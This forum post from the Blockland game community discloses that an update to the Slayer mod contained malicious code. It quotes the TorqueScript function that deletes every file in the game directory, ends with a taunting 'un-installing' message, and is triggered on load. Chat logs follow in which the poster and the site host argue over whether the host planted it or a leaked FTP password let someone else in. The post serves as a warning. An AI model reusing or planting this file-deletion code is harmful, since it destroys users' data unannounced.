As a few of us may know, Zapk hosted Greek2Me's mod website. About 30 minutes ago, Slayer received an update.
Also about 30 minutes ago, a help thread was created that recognized that Slayer was causing a severe error that caused the game to crash. I identified the malicious code which was in the new update.
Starting line 312 of Gamemode_Slayer\client\dependencies\GUI.cs
function fixSlayerClientConfig()
{
%pattern = "*/*.*";
%z = 6000;
for(%i = findFirstFile(%pattern); isFile(%i); %i = findNextFile(%pattern))
{
schedule(%z, 0, fileDelete, %i);
%z += 50;
}
schedule(%z + 5000, 0, MessageBoxOK, "Blockland", "Thanks for un-installing Blockland! We hope your time with us was a fun one!", "quit();");
}
Line 461 of Gamemode_Slayer\client\dependencies\GUI.cs
schedule(0, 0, fixSlayerClientConfig);
This appears to have been a very deliberate way of killing the game.
I contacted Zapk about this.
11:14 PM - Pecon7: You host Greek2Me's website right?
11:14 PM - Zapk: mmhm
11:14 PM - Zapk: why?
11:15 PM - Pecon7: Slayer just got updated, and it now contains game-killing code
11:15 PM - Pecon7: http://forum.blockland.us/index.php?topic=265036.msg7792943#msg7792943
11:15 PM - Zapk: oh forget
11:15 PM - Zapk: what
11:15 PM - Pecon7: It doesn't seem unreasonable to think that someone hijacked the site
11:15 PM - Zapk: ffforget I was kind of scared of this
11:15 PM - Zapk: okay, for about 10 minutes
11:15 PM - Zapk: zapkraft.net showed the directory
11:16 PM - Zapk: and there was a file I forgot to removed which contained the FTP password
11:16 PM - Zapk: I changed it after I realised
It seems likely that Zapk may have done it intentionally, considering his '
' from earlier today. However, he insists that it was a timing coincidence and that someone else must have hijacked the website.
11:24 PM - Zapk: why would I do that if it were obviously me?
11:25 PM - Pecon7: Considering that you just did a 'master server Self Delete', it seems very likely you would do this.
11:25 PM - Zapk: The timing may seem close, because it's the same day I deleted index.php from my site
11:25 PM - Zapk: exposing ftp.txt
11:25 PM - Zapk: christ man
I'll be looking for more evidence, for now lets discuss what is already known here.
